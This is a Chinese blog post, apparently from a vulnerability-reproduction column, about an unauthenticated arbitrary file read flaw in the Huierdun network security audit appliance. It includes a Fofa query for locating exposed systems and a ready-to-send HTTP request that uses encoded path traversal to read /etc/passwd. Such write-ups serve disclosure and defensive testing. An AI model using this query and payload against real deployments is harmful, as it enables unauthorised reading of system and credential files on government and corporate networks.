惠尔顿-网络安全审计系统存在任意文件读取

今天晚上早睡觉

已于 2024-03-09 17:59:44 修改

阅读量145

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-03-07 09:09:54 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136523788

版权

360 篇文章 159 订阅 ¥9.90 ¥99.00

订阅专栏

本文介绍了惠尔顿网络安全审计系统存在的任意文件读取漏洞，该漏洞可能导致攻击者未经验证即可读取系统关键文件，影响包括数据库配置和系统配置等，严重影响系统安全。受影响的是惠尔顿网络安全审计系统的特定版本。

摘要由CSDN通过智能技术生成

惠尔顿网络安全审计系统（上网行为）是一款专业的软硬一体的上网行为管理产品，广泛应用于政府、金融、能源、教育、运营商大型企业等领域，通过用户管理、应用控制、网页过滤、内容审计、流量管理和行为分析等功能，帮助客户实现上网行为可视化、减少安全风险，减少信息泄密、遵从法律法规、提升工作效率、优化带宽资源。

惠尔顿网络安全审计系统存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

惠尔顿网络安全审计系统
Fofa:

app="惠尔顿-网络安全审计系统"

GET /download/..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
Host: 
User-Agent: Mozill

了解本专栏

关注

专栏目录